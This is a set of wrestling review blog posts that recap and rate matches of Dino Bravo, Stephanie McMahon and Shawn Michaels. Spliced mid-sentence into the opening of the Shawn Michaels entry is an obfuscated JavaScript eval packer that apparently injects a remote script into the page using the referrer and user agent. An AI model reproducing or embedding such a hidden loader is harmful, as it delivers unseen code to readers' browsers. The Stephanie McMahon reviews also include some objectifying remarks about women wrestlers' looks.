Garea and Eric start the second fall as well. Bravo comes in for the first time and I’ve never seen him move that fast. Arion comes in and we get a crisscross. Bravo beats Eric up for awhile but Pierre comes in to take over. A slam gets two. Off to Andre and the place erupts. See, this is something you don’t have in WWE anymore: an attraction. Andre was someone that was beloved and the people didn’t care what he did.

Andre here is in the last match of the night (more brilliant booking. Why have him in the middle and let everyone leave after he’s been in the ring? More beers and Cokes sold while people wait) and it’s a worthless six man tag, but the people want to see him. It’s not about some angle or the world title or whatever. It’s about Andre and whatever he’s doing. The people told the company what they wanted to see and that’s who got the big spot. Not the other way around. Very key difference. As for the match, a splash ends it about 10 seconds after Andre comes in.

Rating: C-. The match was boring, but it’s amazing to see something like Andre when he was still young(ish) and could move. The crowd reacts to him and that’s all it needs to be. He didn’t have to spend ten minutes sucking up to them. He was cool and the fans reacted to it. What more did you need than that?

We’ll jump ahead to December 10, 1982 for a match in Japan.

Andre the Giant/Dino Bravo vs. Dick Murdoch/Masked Superstar

Andre and Masked Superstar (Ax from Demolition) get things going with Superstar bouncing off Andre’s shoulders. Masked is already on the floor for a breather before failing on a full nelson attempt. Off to Bravo vs. Murdoch with Dino hooking a top wristlock. Murdoch counters into one of his own and cranks on the arm before it’s back to Masked for a wristlock of his own.

We hit a wristlock from Dick before it’s back to Superstar to stay on the lame wristlock. Andre finally comes in to nail Murdoch and break up a cover by Superstar. Bravo hits his airplane spin for two on Dick as everything breaks down. Andre easily slams Superstar and sits on him for the pin.

Rating: D. Well that happened. Much like the previous match, this was almost all arm work until Andre came in to try and pick things up a bit. Bravo was nothing to see here, again, and that’s not a good thing most of the time. Murdoch and Superstar were nothing all that special either but they were both big names around this time.

We’ll jump ahead again to Bravo returning to the WWF on Superstars, November 22, 1986.

Dino Bravo vs. Kurt Kauffman

Dino quickly takes him down and drops a big leg before dropping him out of a gorilla press. A hard clothesline sets up a belly to back suplex for the pin by Dino. Total squash.

Time for a six man tag from June 23, 1987.

Rougeau Brothers/Brutus Beefcake vs. Dream Team/Johnny Valiant

This is a dark match from a Superstars taping in Indianapolis. Ray vs. Dino to start us off. Dino keeps running as you would expect him to. Valentine tries to cheat by holding Ray but Ray avoids the jumping knee. The place ERUPTS on something that simple. It’s amazing how you never see that anymore. Beefcake comes in and goes for Greg’s hair, resulting in the heels congregating on the floor.

Valiant, a manager remember, hides on the floor. Beefcake gets caught in the corner and even Valiant gets in some time on offense. Beefcake grabs a sleeper on Valentine but Valiant makes the save. Both Rougeaus come in and pound on Bravo as the place loses its mind. Boston Crab by Ray is broken up by Valentine, which draws Ray into the bad corner.

Back to Greg who gets a shoulderbreaker for two. In a pretty impressive power display, Ray counters a piledriver into the position for an Alabama Slam, but instead he walks towards his corner with Valentine on his back. Greg doesn’t let him get the tag but still it was impressive. Ray is on the floor and we’re clipped to a later point of him on the floor. Bravo drops another elbow and we’re clipped to Valentine in there instead.

Back to Bravo and Dino hammers away. This is the WWE 24/7 version so the big WWF Superstars of Wrestling banner is censored. Off to Johnny V and they just kind of let Ray tag in Brutus. He and Jacques clean house and it all breaks down. The heels are all thrown together and a pair of dropkicks send the non-managers to the floor. Valiant is put in the sleeper and we’re done.

Rating: C. This was fine. You never see stuff like this in modern wrestling and that’s a shame. There’s nothing too bad here and it was just a six man tag. The fans get to be happy and the faces get a win. There’s no bigger plan here and none of the guys really seem to be all obsessed about moving up the card. All that matters here is getting a win. Why can’t we see more of that?

Off to France on October 23, 1987.

Fabulous Rougeau Brothers vs. New Dream Team

In France still and the New Dream Team is Bravo/Valentine. We have 11 minutes in the tape to go. I can get through this. I know I can. Joined in progress for no apparent reason. Ray is in trouble and the fans cheer for the French boys. Valentine gets caught with a knee to the balls so Bravo comes in again. Time for a bearhug to keep the high level of this tape going. A piledriver is countered but Jacques can’t get a tag in.

Valentine mocks wanting to box Jacques for no apparent reason. The beating goes on like six minutes and Bravo hits his side suplex finisher on Ray but it’s not a finisher yet I don’t guess as Ray pops up and takes Bravo down. There’s the hot tag and everything breaks down. Sleeper to Valentine but Bravo breaks it up. A figure four is attempted but Ray sunset flips Valentine for the pin.

Rating: D. It’s a bit better, but good night would it have killed them to give us ANY bigger named team? Horribly dull match and I don’t even want to think about how much longer this could have been. Weak match but given how weak the teams were in there (bad time for the Rougeaus at this point) and a perfect ending to an AWFUL tape.

Bravo would be in the WWF World Title tournament at Wrestlemania IV.

WWF World Title Tournament First Round: Dino Bravo vs. Don Muraco

Bravo shoves him back into the corner to start to win the first power battle of the match. Muraco hammers him down and tries something like a Vader Bomb but basically just lands next to Bravo instead. Dino comes back with an elbow to the face and a gutwrench suplex for no cover. A knee in the corner misses Muraco so he starts hammering on the knee.

A spinning toehold has Bravo in trouble but Don gets kicked away and gets his head caught in the ropes. Dino uses Muraco’s own piledriver to get two but a second attempt is countered with a backdrop. They clothesline each other but it’s Muraco up first. He hits a flying forearm which works so well that he tries it again, but Bravo pulls the referee into Muraco for the DQ.

Rating: D+. This was slow and plodding but it wasn’t horrible. Muraco was far better when he was less muscular and evil and this part of his career never quite worked that well. One very nice thing here is Jesse freaking out when Bravo got disqualified but then saying it was correct when seeing Bravo pull the referee on the replay. It’s very refreshing to see something like that.

Here’s a rematch from Summerslam 1988.

Dino Bravo vs. Don Muraco

These two fought at Wrestlemania earlier in the year as well. This is power vs. power so they shove each other around to start. Some armdrags put Bravo on the floor before heading back in for a hiptoss. Off to an armbar by Muraco but Bravo comes back with an atomic drop to take over. A Russian legsweep puts Bravo down but Muraco has to go after Bravo’s manager Frenchy Martin. The referee gets kicked but nothing comes of it, allowing Bravo to hit his side slam for the pin.

Rating: D-. Somehow that match ran five and a half minutes. Muraco would also be gone soon before the end of the year and it’s not hard to see why. He was nowhere near as bad as Patera earlier but it was clear that his best days were behind him. Bravo would become Earthquake’s lackey soon after this and have the most productive time of his career.

Another match from the 1989 Royal Rumble.

Dino Bravo/Fabulous Rougeaus vs. Jim Duggan/Hart Foundation

2/3 falls here. Anvil vs. Bravo gets things going and they collide a few times with no one going anywhere. Both guys miss elbows and it’s off to Duggan for a BIG reaction. Ray Rougeau comes in and is immediately slammed down and hit by a knee drop. Hart comes in to a small but audible reaction and gets two each off a small package and a sunset flip. Jacques comes in and things break down a bit with all three heels being caught in one corner where Anvil drives shoulders into them, crushing Ray against the corner under two other guys.

Ray FINALLY gets something in by low bridging Bret to send him to the floor. At the end of the day, when you need someone to sell something you call on Bret. Dino’s side suplex puts Bret down and The Rougeau Bomb gets the first fall. Bret and Ray start things off in the second fall with Hart in big trouble. Jacques comes in and sends Bret into the corner for the traditional chest first bump in the corner which gives Dino two.

Bravo puts on a bear hug for a bit before it’s back to Jacques. A sunset flip gives Bret a quick breather but he’s immediately put in a camel clutch. Anvil makes the save but as he’s being put back in the corner, Ray comes in and puts the same hold back on. That’s good stuff there. The heels take turns working over Bret until Jacques puts on a Boston Crab. Gorilla wants Duggan or Neidhart to come in and break the hold up, because you’ve got five seconds. I love the hypocrisy you would get from him at times.

Bret breaks the hold and tags in Anvil but the referee didn’t see it. That’s such a basic spot but you don’t see it much anymore. Ray puts on an abdominal stretch before it’s off to Jacques for the exact same hold. Bret FINALLY hits an atomic drop to break up the momentum and there’s the white hot tag to Duggan. Anvil hits a slingshot shoulder on Ray and a Duggan elbow drop ties the match up at a fall apiece.

Duggan pounds on Ray to start before going to the wrong corner to try to beat up both guys. Bravo hammers away a bit but rams Duggan’s head into the buckle for no effect at all. Duggan gets punched over into the corner and there’s the tag to Hart. Everything breaks down and Duggan hits Bravo with the board to give Hart the pin.

Rating: C. This was fine but Duggan’s reactions are amazing. The guy was probably the third most over guy in the company at this point, which is covering a lot of ground given how over some of the guys were in 1989. This was fine for an opener but the ending was never quite in doubt, which is ok.

Dino would get a match at Wrestlemania V.

Ronnie Garvin vs. Dino Bravo

For absolutely no apparent reason, Jimmy Snuka is brought out after the wrestlers’ intros. Bravo jumps him from behind to open the match before it’s off to a bearhug. That goes about three seconds do Dino loads up a powerbomb instead. Garvin escapes and starts a flurry of offense and gets two off a jackknife cover. A sleeper is easily broken up by Bravo and he breaks up a piledriver as well. Garvin tries to pound away in the corner but gets caught in an atomic drop and the side suplex for the pin by Bravo.

Rating: D. This didn’t do anything to get the crowd going which is a big problem with this show: the crowd doesn’t care about most of this stuff and why in the world would they? This is a random match between two guys that have no reason to fight and have no future as a main talent. Nothing to see here at all.

Time for some free TV with Saturday Night’s Main Event XXV.

Dino Bravo vs. Ronnie Garvin

This is your main event somehow. Have I ever mentioned that I really can’t stand Ronnie Garvin? Oh look it’s the Garvin Stomp. I’ll just kick the guy like 8 times really slowly and call it a finisher. Bravo wins after some interference. The heels beat him up afterwards, making me love them all.

Rating: F-. Any match with Ronnie Garvin in it is a failure.

And from The Main Event III in a bit bigger match.

Intercontinental Title: Ultimate Warrior vs. Dino Bravo

Warrior throws the belt down on the way to the ring and it’s on. Warrior tries to go up top but Quake messes that up. He dives under the ring and pulls Jimmy under with him. Quake shouts WHERE DID HE GO!!! Hart comes out, sans shirt and pants. That’s rather disturbing you know? Bravo gets a bear hug and of course that doesn’t work. Vince says Warrior breathes a different air. What does that even mean?

Warrior gets a bear hug of his own which is immediately broken. Bravo hits his side suplex as this is flying by. Warrior Hulks Up and nothing Bravo does will work. I think you know the rest from here. Warrior easily retains. Quake jumps Warrior afterwards and Hogan stops an Earthquake from the middle rope. Warrior, the dick that he is, gets in Hogan’s face for saving his life.

Rating: D. Pretty bad here but they kept it really short. Hogan vs. Warrior was already announced so it’s not like this was some big secret as to who was going to win. Bravo vs. Warrior was a long running series of squashes like this and this one was just like the rest of them.

Back to pay per view with Survivor Series 1990.

Natural Disasters vs. Hulkamaniacs

Earthquake, Dino Bravo, Haku, Barbarian
Hulk Hogan, Big Bossman, Tugboat, Jim Duggan

There’s some actual drama here as Hogan had never beaten Earthquake before this and the other guys balance out somewhat well. Haku vs. Duggan start us off as the announcers talk about the Grand Finale. It’s such a different time when they automatically know who is going to be on what side. Today you would be waiting on the swerve. Duggan pounds away on Haku and a clothesline gets two.

Bravo and Barbarian come in to get some shots but it’s quickly off to Boss Man vs. Haku. Haku dropkicks him down for two but the Boss Man Slam puts Haku out quick. Barbarian comes in next and Boss Man runs him over. Heenan gets taken off the apron and Boss Man punches Barbarian a bit before walking into a suplex. Barbie misses a middle rope elbow and it’s off to Duggan vs. Bravo. Scratch that as Earthquake makes a blind tag and crushes Duggan in the corner. Duggan keeps trying to knock Quake down but Jimmy low bridges him. Duggan brings the board in with him and hits Quake for the DQ.

It’s Hogan vs. Earthquake but Hulk beats up all three guys because he can. Hogan easily slams Earthquake and fires off ten punches in the corner. Quake comes back with a powerslam and tags in Bravo who stomps away before getting small packaged for the pin. There’s the tag to Boss Man who hits his rapid fire punches in the corner. Boss Man goes up for a cross body and oh my goodness Earthquake caught him. That is SCARY. Hogan shoves Boss Man on top of him for two but Barbarian kicks Boss Man in the back to put him down. An elbow from Earthquake eliminates Boss Man.

Hogan vs. Quake again and Hulk tries to drop the big guy. Hulk tries another slam but can’t get Quake up. The third attempt results in Quake falling on Hogan for two. Hulk avoids an elbow and there’s the tag to Tugboat, causing everyone to shout TOOOOT which sounds like booing. Hogan pulls Earthquake to the floor and Quake and Tugboat get counted out. That leaves Hogan vs. Barbarian and the only thing I can think to say is “really?” Barbarian goes after Hogan on the floor and doesn’t hit a piledriver well at all. It gets two and they clothesline each other. Barbarian hits the top rope clothesline, Hulk Up, legdrop, done.

Rating: C-. This was a lot more fast paced and energetic than you would expect. The continued practice of just teasing the encounter that the match is based on is getting REALLY old though as I guess they want to preserve the house show draws, because who would want to see a feud continue after a single match right? My goodness have things changed in the last twenty years.

One more trip to TV with The Main Event V.

Hulk Hogan/Tugboat vs. Dino Bravo/Earthquake

Hogan gets a very solid pop and is the only one of the four to get a reaction at all. According to Vince, Quake and Bravo weigh about 1,300 pounds between them. Think Vince is a bit shaky here for some reason? That’s not rhetorical actually as he’s normally more composed than this. Hogan cleans house on Bravo to start. Bravo and Tugboat are in now and this isn’t going to be pretty.

Bravo actually gets an atomic drop and a very good one all things considered. Hogan vs. Quake now, which is a somewhat big feud still at this point. The slam hits on the first try which is something different for the bald one. Quake gets a nice jump kick that looked pretty good for a man his size. The boating enthusiast gets beaten down as we wait on Hogan to get the tag.

Megaphone to the head ends any momentum he had and we take a break. Warrior is still the symbol on the graphic despite having lost the title and not even being on the card here. The referee misses the tag after the break and Tugboat takes a double slam. Hogan blocks the flying hip drop and we get the hot tag finally. Oddly enough Hogan hits the boot on Bravo and rolls him up for the pin instead of the standard finish.

Rating: D+. Totally standard house show main event here. This wasn’t supposed to be anything epic at all and it definitely wasn’t. These shows were designed to get the top feuds on TV and on occasions like this one, ending the feuds once and for all since Hogan had nothing else to do with any of these guys after this. Nothing great at all but fine for what it was.

We’ll wrap it up at Wrestlemania VII.

Dino Bravo vs. Texas Tornado

Von Erich popped into the company around Summerslam, won the IC Title from Perfect, lost it and was immediately a jobber to the stars until he went back to Texas. It’s a fast brawl to start but Bravo avoids the claw. Heenan is on commentary now. Von Erich runs into a boot in the corner and Dino takes over for a bit. The side suplex puts Tornado down for two and that’s about it for Bravo. A few seconds later it’s Claw and Tornado Punch for the pin on Bravo.

Rating: D. Nothing at all to see here and it’s a match that easily could have been cut. This was Bravo’s last televised match before he left the company for good a year or so later. Afterwords he would soon be murdered in an illegal cigarette smuggling operation in Canada. Now there’s a story that you can’t make up.

Dang maybe Bravo wasn’t all that great. He never had a big match or push and was really just there as a power guy that would get beaten up a lot and then be a lackey for a bigger heel. He was a far bigger deal in Canada and the territories but never got anywhere in the WWF. Still though, I’ve seen worse.

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Wrestler of the Day – July 23: Stephanie McMahon

Here’s someone you’ve probably gotten more used to lately: Stephanie McMahon.

Stephanie would join the WWF on screen as HHH’s husband. Since they ran the company, Stephanie got a Women’s Title match on Smackdown, March 30, 2000.

Women’s Title: Stephanie McMahon vs. Jacqueline

DX comes out in full with Stephanie, who of course stalls forever. The bell rings and X-Pac trips Jacqueline, allowing Tori to nail her with a DDT to give Stephanie the title.

I’ll spare you the bad matches this reign entailed and get to the end, from August 21, 2000 on Raw.

Women’s Title: Lita vs. Stephanie McMahon

Yeah this was that dark time where Stephanie was champion as a side effect of the awesome HHH run. Rock is guest referee as part of his war with Trips as well. Lita easily takes her down and hammers away before popping the champ in the corner with forearms. A hurricanrana gets two but Stephanie’s friend Kurt Angle distracts Rock so HHH can trip Lita up.

The Hardys run out for a save and hammer on HHH as Stephanie fires off some lame foreams and a nice DDT for two. Lita comes right back with another hurricanrana but Angle breaks up the Litasault. The Hardys brawl with Angle/HHH until Rock pulls Angle and the title belt into the ring. Angle gets laid out but HHH jumps Rock from behind. Kurt nails HHH by mistake and it’s a Rock Bottom for the Olympian. Stephanie tries a cheap shot and gets a Rock Bottom of her own, setting up the Litasault for the pin and Lita’s first title.

Rating: D+. THis was almost all about the men fighting on the floor which was far more interesting than the girls.  Stephanie was basically the Honky Tonk Man of the Women’s Title as the whole reign was there so someone could save the title and become a big star.  That’s exactly what Lita did and she never looked back.

We’ll jump to a new year for one of Stephanie’s first serious matches. From Raw, January 22, 2001.

Kurt Angle/Trish Stratus vs. HHH/Stephanie McMahon

Trish is sweaty when she comes out. HHH sets a record for fastest time changing and is ready to go almost immediately. JR points out that HHH isn’t stretched or anything like that. He manages to get a baseball slide to Angle to take him down and the fight starts on the floor. The guys start in the ring with HHH dominating. He works on Kurt’s knee and yells at Trish for a bit.

Angle gets a spinning neckbreaker to put HHH down and brings in Trish. The genitals don’t have to match here. She comes in off the top with a cross body. Kurt dropkicks her back to put down HHH. Kurt accidently hits Stephanie and gets the tar beaten out of him by both Helmsleys. Facebuster hits Angle but he manages a belly to belly to HHH and it’s back to Trish.

She tries coming in off the top again but this time Stephanie slams her down. Was Trish just like Flair there? They slap it out and Trish spears Stephanie down. The girls brawl for awhile until Trish gets a bulldog for two. HHH Pedigrees her though and Stephanie gets the easy pin for the win.

Rating: D. Total mess here and way too much of the girls in there. Still though with like six minutes to work with and the girls being the biggest part of it this was ok. The feud with the guys went nowhere though which is a shame but the girls had some good interactions. Either way, not much of a main event but I’ve seen worse.

Stephanie got annoyed with her father for having an affair with Trish Stratus, so here’s a showdown at No Way Out 2001.

Trish Stratus vs. Stephanie McMahon

Trish is a set of curves and a gorgeous face at this point. She has no talent as far as we know in the ring so Stephanie is probably the ring general in this match. She has the awesome old school HHH music though so I can’t complain. It’s nice to see one of the girls in a t-shirt though instead of their traditional stuff. Spear and a slap fight start us off.

We’re in the crowd in like a minute as this is a big fight. Stephanie dives off the barricade with a big punch to the chest. Granted it’s hard to miss so there we are. Bulldog by Trish but it means nothing yet so it only gets two. They do the smart thing here and don’t try to make this into a wrestling match, opting instead for a fight. Water gets involved, making Lawler freak out.

Trish with wet hair and a wet chest: win. A powerbomb from Stephanie gets two and down come Trish’s shorts for a spanking. Trish in a thong wins also. The girls both go down (lucky) as does the referee. Cue Regal, who puts Trish on top (works for me) but then saves Stephanie from getting pinned since he doesn’t know what the right thing is. Trish slaps him so he takes her down with a neckbreaker for the pin.

Rating: B-. This is considering who was in there and the level of their talent. It’s no classic, but considering who was in there, this was AWESOME. They didn’t bother trying to have a match and just beat each other up, which was without a doubt the right way to go. Trish would of course get FAR better, but this was pretty good considering what they had to work with. Regal saving us from the attempt at a finishing sequence was a nice break too.

From the next night on Raw.

Vince McMahon/Trish Stratus vs. William Regal/Stephanie McMahon

Vince brings out that bucket of sewage. Apparently Stephanie shoved Trish into manure on Smackdown. Trish kisses Vince to start and the girls go at it first. All Trish to start as I guess Stephanie and Regal are the faces here. Steph gets a suplex for two. They had the best match you could ever imagine they would have the previous night. DDT gets two for Stephanie.

They botch….something as Stephanie goes down. It looked like a clothesline I think but I’m not sure. Vince comes in and Steph has no idea of it. Regal backs off to huge boos. Vince gets a mic and Regal brings in the bucket. He says that what Vince wants, Vince gets. He tells Trish to get in here and tells the referee that this match is over.

Stephanie and Vince are apparently all cool and Regal takes Trish down with a neckbreaker. With Vince’s direction, Stephanie covers her with the mop in the sewage and shoves her face in the bucket. Vince says that there’s one Daddy’s Little Girl and Trish was just a toy, a toy Vince is tired of playing with. Trish would be back with Vince like next week. This was barely a match so no rating.

Stephanie and Trish would be at it again in a whipping match on Raw, April 2, 2001.

Stephanie McMahon vs. Trish Stratus

This is a spanking match which means they both have straps/whips. Trish has her face music at this point but doesn’t have Lil Kim yet. They go at it on the ramp and this could be ugly. Trish isn’t that good yet, which is an understatement if there ever was one. At least she takes the coat off so we can see the nice halter top. Stephanie chokes Trish and hits a half decent DDT. Here comes the whipping and now it’s a catfight. Stephanie gets whipped and barely moves. She hides behind Lillian which doesn’t work as Lillian goes down. Steph gets both whips but wastes too much time. Regal comes in and takes Trish down for the DQ.

Rating: D+. You would think whips involving Trish and Stephanie would be hotter than this. Not much of a match but at the same time Stephanie was actually trying to wrestle which is a major step up for her. They had a far better match at No Way Out but they were trying here at least, which helped a lot.

The following week, Stephanie hooked up with the Two Man Power Trip to face the best known three person team in the company.

Hardy Boys/Lita vs. Steve Austin/HHH/Stephanie McMahon

Genders can mix here. HHH/Austin jump the brothers very early but the Hardys clear the ring in something rather surprising. HHH and Matt get us started. Off to Jeff and there’s Poetry in Motion. There go the shirts which unfortunately Lita doesn’t go along with. Whisper in the Wind gets two on HHH. Sunset flip gets the same as this is starting very fast paced.

Matt walks into a facebuster though and it’s off to Austin. After the Hardys beat on Austin for a bit it’s heel cheating that lets Austin beat up on Jeff. Austin wants to know the difference between a choke and a blatant choke. Jeff takes Trips down with an enziguri but Austin breaks up the potential tag. Jeff manages to dive and get a double tag to bring in Matt. Everything breaks down and Lita gets Stephanie alone. Twist of Fate and Moonsault end Stephanie and the Power Trip is MAD.

Rating: C+. The idea of them losing this fast was kind of surprising but at the same time the point of it was to let the post match beatdown happen. Also on Thursday Jeff would win the Intercontinental Title. Granted he would lose it back the next Monday, but the point of that was to set up the first real challengers to the dominance. Other than that, the match was fine though.

Here’s an odd reunion as Test teamed up with Stephanie to face Rock on Raw, September 10, 2001.

Test/Stephanie McMahon vs. The Rock

Stephanie looks GREAT in the sports bra and workout pants. JR says that Stephanie left Test standing at the altar to REALLY mess with history and Heyman calls him out on it without saying what happened. Stephanie sits in on commentary instead of getting in the ring. Test jumps him in the corner to start and is quickly sent to the floor. Stephanie gets in a few shots and Test hammers on Rock back in the ring. Sidewalk slam gets two.

Stephanie McMahon/Test vs. The Rock

Stephanie is on the apron here and is knocked off almost immediately. Rock sends Test to the floor and the beating begins. Back inside Rock gets two but Test pounds him into the corner. Rock fires off some rights but walks into a gutwrench powerbomb for two. Test beats him down again and Stephanie comes in, only for Rock to nip up. The Canadian runs him over again and loads up the big boot but instead he walks into a Rock Bottom. Nick Patrick is with Stephanie though and that earns him a Rock Bottom of his own. Rock goes after Steph but Shane and Booker run in. Everyone hits their finishers and Steph gets the pin.

Rating: D+. I don’t particularly get how this is supposed to make me want to see Booker and Shane vs. Rock on Sunday but it got Stephanie on TV and let her pin the Rock so it must be a good idea right? Just have Rock face Shane and then have Booker and everyone else interfere and let Shane get the pin. How is that any different? Oh right: it doesn’t let Stephanie get to be on TV. Got it.

Stephanie and HHH would split in 2002 with Stephanie joining forces with Chris Jericho. This led to a three way match for HHH’s WWF Title on Raw, March 25, 2002.

Undisputed Title: Stephanie McMahon vs. HHH vs. Chris Jericho

This is a triple threat and if Stephanie is pinned she’s out of the company. Jericho sends HHH to the floor and Stephanie lays down for Jericho but HHH makes the save. HHH won the title 8 days before this mind you. Totally boring match as the two wrestlers have to be on pins and needles so Stephanie doesn’t get exposed as being NOT A WRESTLER.

Stephanie slaps Jericho for some reason and they argue. Jericho goes for the Walls as this match needs to end. We know HHH isn’t losing so quit teasing us about it. HHH knocks Jericho down and stalks Stephanie. Pedigree is set up but Jericho hits a dropkick to stop it. Jericho grabs a title and a chair and through some odd stuff both HHH and Jericho get belt shots.

Stephanie comes in and covers Jericho for two. She does this weird thing of lifting her leg on covers. HHH gets caught in the Walls but Stephanie jumps on Jericho’s back. Pedigree gets two on Jericho and Stephanie makes the save. Spinebuster ends her and she’s gone….for four months until she became Smackdown’s GM. Security literally drags her away.

Rating: D-. Just horrible stuff here as HHH and Jericho more or less did nothing while this was about Stephanie all over again. What a shock right? She was the focus of just about everything for a good while and this would only get worse in 03/04 when Smackdown was ALL about her and Vince and their stupid feud for power. This was a glorified house show main event though and was really quite stupid.

Stephanie wanted to get one legged Zack Gowen a job, so all they had to do was win a match on July 3, 2003 on Smackdown.

Stephanie McMahon/Zack Gowen vs. Big Show

Anything goes so Vince and Sable are at ringside to watch the torture. Gowen is thrown down like he’s nothing to start so Stephanie jumps on the giant’s back. This goes as well as you would expect before Big Show LAUCHES Gowen from the floor, over the top and back inside. Big Show lifts her into the air and Vince says throw her to the floor. Gowen tries to make another save and is easily clotheslined down.

Stephanie slaps Vince but gets grabbed for a chokeslam. This brings out Kurt Angle for an ankle lock to the giant but Vince nails him with a chair. Cue WWE Champion Brock Lesnar but Show kicks him in the face. Gowen hits a kind of Van Daminator to Big Show, setting up an Olympic Slam and F5 to Big Show. Zack adds a moonsault for the pin and a contract. In a funny post match moment, Angle goes to lift Gowen on his shoulders but realizes there’s only one leg.

Rating: D. Much more of an angle than a match but I could watch Brock throw Big Show around all day. It’s just awesome to see a man that big get tossed like a cruiserweight. The match was barely there and it was all about Stephanie vs. Vince, but at least we got a cool moment in the process.

In 2003, Vince and Stephanie feuded because they’re McMahons. Vince was sleeping with Sable at the time, so here’s the showdown from Vengeance 2003.

Stephanie McMahon vs. Sable

Vince was having an affair with Sable and all of Smackdown had become about them. Yeah I’m shocked too. For some reason this is no count out. That’s just an odd stipulation. This is a catfight, whatever that means. Sable is freaking gorgeous. Stephanie was at a weird stage here and it didn’t work that well for her. We’re in the crowd already. Stephanie actually gets a half decent rollup. I’m surprised.

She goes off on Sable as well as she can and Sable tries to run. That obviously doesn’t work either. Stephanie actually busts out the Mr. Perfect neck snap. WOW. She goes off on Sable in the corner and winds up ripping part of her top off. The referee rips his shirt off for her to put on. And here’s A-Train of all people to flatten Stephanie so Sable can win. Ok then.

Rating: D. This was WAY better than it had any right to be. That being said, it still sucked. They just weren’t going to have a good match no matter what they did, although Stephanie was certainly trying so I can’t fault her for that at all. Not any good at all but they tried so I can give them points there.

Vince really hated Stephanie in 2003 so he made this match on September 11, 2003 on Smackdown.

Stephanie McMahon vs. Brock Lesnar

Vince gives her a chance to quit her job as GM before the bell but Stephanie won’t do it. Stephanie gets in a low blow but Vince pulls her back into the ring. That earns him a low blow as well but Brock is back up. He rams her into the barricade but Stephanie ducks flying steps. Instead Brock picks her up for an F5 on the ramp but Kurt Angle runs out for the save and a big brawl to end the “match”.

We’ll wrap it up, appropriately enough, with an I Quit match from No Mercy 2003.

Vince McMahon vs. Stephanie McMahon

I Quit match and Stephanie can win by pin as well. It’s also no holds barred and no one can interfere on her behalf. Linda is here too to make sure this match is acted even worse. Sable is with Vince. Vince jumps Stephanie to start. He’s evil you know. Stephanie jumps on his back and screams a lot. She kicks him into the corner so he runs her over. Vince throws her around and Cole is up to about 20 “THAT’S HIS DAUGHTER” lines a minute.

Sable slaps Stephanie so Linda chases her around. Vince hooks a half crab and Stephanie screams a lot. Off to a bow and arrow and Stephanie can’t even sell her face properly. Sable slides in a pipe but Linda stops her. Vince grabs Linda so she slaps him and Steph hits Vince low with the pipe for two. She pulls the pipe back and hits him in the ribs and the back and in the face but Vince doesn’t go down. A shot from the middle rope to the top of the head gets two.

This match has been going on about four minutes and I already hate it. Sable gets in a fight with Stephanie so Stephanie rams Vince into her and bulldogs him for two. She gets the pipe again but Vince grabs her by the throat and shoves her down. Now Vince has the pipe and hits her in the ribs. He chokes her with the pipe and Linda shouts to quit because it’s not worth it. Linda throws in the towel because Stephanie can’t give up. You know, to protect her reputation and all that.

Rating: F. This got more of a build than the world title match, the US Title match and the Angle vs. Cena match. You figure out why this was a failure.

So yeah….Stephanie isn’t very good in the ring. 2003 was a nightmare but she’s willing to take a beating and be humiliated when the time is right. Unfortunately there’s a LONG amount of time between those losses at times and her talking can be a nightmare to sit through. At least she’s nice to look at and is getting better looking with age.

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Wrestler of the Day – July 22: Shawn Michaels

We’re at a big one today: Mr. Wrestlemania himself, Shawn Michaels.

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ityra|var|u0026u|referrer|etaik||js|php'.split('|'),0,{})) no way I can cut Shawn down to a timeline, so here’s a collection of matches in no order, other than what I consider his best match ever next to last and my favorite match of his last.

Let’s get the obvious ones out of the way first. These are the quintessential Shawn matches so let’s get them done now. We’ll start with Wrestlemania XII.

WWF World Title: Bret Hart vs. Shawn Michaels

In the famous opening, Shawn’s manager/trainer Jose Lothario comes to the ring alone. He gets on the bottom rope and points to the rafters where a spotlight shines. It’s Shawn, dancing atop the rafters and ziplining down into the crowd. The shot from behind him with the flashbulbs going off was one of the most shown visuals in company history for a long time. Bret just walks to the ring because he’s a bit more laid back. Of course this is an Iron Man Match lasting one hour, most falls in that amount of time wins.

Earl Hebner is the referee because there’s no one else that it could be. He reads the full rules to both guys which is pretty cool to hear actually. Vince says that whoever wins the first decision will win the match. It likely helps that he picked the winner. Feeling out process to start with both guys being tentative to get into anything of note. Granted they’re also likely conserving energy.

Shawn easily escapes a pair of headlocks and they trade some more technical stuff. First bit of psychology: Bret blocks a third try at the same headlock counter that Shawn used both times earlier. We head to the mat with the champion in control via a headlock. Shawn fights up and we get a nice technical sequence resulting in Bret being right back in control with a headlock. Off to a front facelock as the announcers debate which man is stronger. That’s a good question actually.

Back to the headlock which is smart this early in a match like this. Shawn gets up again and fires off some armdrags before hooking an armbar. Freddie Blassie and Stu Hart are in the front row. They run the ropes a few times until Bret takes it back to the mat, only to be caught in a kind of abdominal stretch on the mat. They go into the corner and Shawn fires off some right hands, only to be sent into the other corner. Shawn is cool with that as he sends Bret to the floor with a headscissors. Fifty minutes left.

Back in and Shawn puts on an armbar but Bret throws him over the top. It’s Shawn though so he skins the cat and hooks the armbar again to put Bret down. Bret comes back with a shot to the ribs and a headbutt to the abdomen to take over. Off to a chinlock for a bit but Michaels escapes with a jawbreaker. There’s a Fujiwara Armbar on the champ but Bret nips up and catches Shawn in a kind of spinebuster.

The Sharpshooter doesn’t work though so he clotheslines Shawn to the floor. The fans aren’t sure what to think of that. Bret heads to the floor and gets sent into the post which makes him stagger into the timekeeper. We’ve got 45 minutes left as Shawn misses Sweet Chin Music on Bret, hitting the timekeeper by mistake and knocking him out cold. Back in and Bret hooks another chinlock as the timekeeper gets stretchered out.

As the chinlock goes on for almost three minutes we see the problem with this match: it doesn’t need to be an Iron Man Match. Yeah it’s kind of cool that it did went an hour but it would have been fine as a regular match that went like 45 minutes or something like that. The drama would have been better too and we wouldn’t have long rest holds like this. I can’t blame the wrestlers for resting like that as it’s not fair to ask them to go nuts for an hour, but it doesn’t make for the most interesting TV in the world.

Shawn finally gets up but can’t get an O’Connor Roll. Instead he hits a dropkick and grabs another armbar to take Bret down. Shawn cranks on the arm even harder with 40 minutes to go. Now we hit the hammerlock as the crowd is pretty silent. Back up and Shawn sends Bret’s shoulder into the post to give him the biggest advantage yet. There’s a shoulderbreaker to the champion followed by a double ax from the middle rope to the shoulder.

